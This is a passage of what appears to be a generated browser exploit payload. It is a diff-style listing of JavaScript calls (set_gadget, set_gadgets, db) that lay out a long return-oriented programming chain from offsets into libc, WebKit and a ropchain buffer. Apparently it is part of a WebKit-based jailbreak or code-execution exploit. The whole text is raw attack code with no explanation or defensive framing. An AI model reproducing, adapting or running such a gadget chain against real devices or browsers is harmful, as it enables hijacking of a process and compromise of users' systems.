+libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+312232, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+312248, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+312216, +webkit_base+4687784, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+312336, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+312352, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+312512, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+312544, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+312496, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+312528, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+312640, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+312624, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+312744, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+298576, +libc_base+863109, +libc_base+713278 +]); +db([4294967264, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+312864, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([32, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+312952, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+312968, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+313112, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+313080, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+313096, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+313184, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+313240, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+313336, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+313432, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+313448, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+313536, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+313592, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+313664, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+313720, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([51, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([41, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+314016, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+314104, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+314120, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+314264, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+314280, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+314248, +webkit_base+4687784, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+314368, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+314384, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+314544, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+314576, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+314528, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+314560, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+314672, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+314656, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+314776, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+336600, +libc_base+863109, +libc_base+713278 +]); +db([4294967256, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+314920, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+314936, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+314904, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+315064, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+315096, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+315080, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+315208, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+315200, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+315224, +ropchain+315688, +libc_base+388400, +libc_base+713278, +ropchain+315296, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+315456, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+315488, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+315440, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+315472, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+315568, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+315584, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+315680, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+315664, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+740138, +libc_base+713278 +]); +db([4294965204, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+315784, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+713278, +ropchain+315840, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+315904, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294965204, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+315992, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+316008, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+316168, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+316200, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+316152, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+316184, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+316280, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+316296, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+316392, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+316376, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+316488, +webkit_base+4687784, +libc_base+768796 +]); +db([256, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([256, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+316632, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+316648, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+316616, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+15055763, +webkit_base+47019, +libc_base+232261, +libc_base+713278, +ropchain+316824, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+316840, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+316808, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+316968, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+317000, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+316984, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+317112, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+317104, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+317128, +ropchain+317144, +libc_base+489696, +ropchain+317160, +libc_base+489696, +ropchain+320352, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([1, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+317408, +webkit_base+4687784, +libc_base+713278 +]); +db([4294965216, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+317512, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+317600, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+317616, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+317760, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+317776, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+317744, +webkit_base+4687784, +libc_base+713278 +]); +db([32, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+317864, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+317880, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+318024, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+317992, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+318008, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+318096, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+318152, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+318248, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294965204, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+318336, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+318352, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+318512, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+318544, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+318496, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+318528, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+318704, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+318656, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+318672, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([4, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+318784, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+318800, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+318888, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+318944, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+319072, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+319104, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+319088, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+319264, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+319296, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+319248, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+319280, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+319376, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+319392, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+319488, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+319472, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+319592, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+337928, +libc_base+863109, +libc_base+713278 +]); +db([4294967248, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+319680, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294965204, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+319768, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+319784, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+319944, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+319976, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+319928, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+319960, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+320072, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+320056, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+320160, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+320232, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294965204, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+713278, +ropchain+320296, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+489696, +ropchain+315848, +libc_base+713278, +ropchain+320408, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([32, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+320496, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+320512, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+320656, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+320624, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+320640, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+320728, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+320784, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+320880, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+320976, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+320992, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+321080, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+321136, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+321264, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+321296, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+321280, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+321440, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+321408, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+321424, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+603872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+321592, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+161664, +libc_base+863109, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+713278 +]); +db([4294965200, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+321720, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+713278, +ropchain+321776, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+321840, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294965200, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+321928, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+321944, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+322104, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+322136, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+322088, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+322120, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+322216, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+322232, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+322328, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+322312, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+322424, +webkit_base+4687784, +libc_base+768796 +]); +db([512, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([512, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+322568, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+322584, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+322552, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+15055763, +webkit_base+47019, +libc_base+232261, +libc_base+713278, +ropchain+322760, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+322776, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+322744, +webkit_base+4687784, +webkit_base+3789839 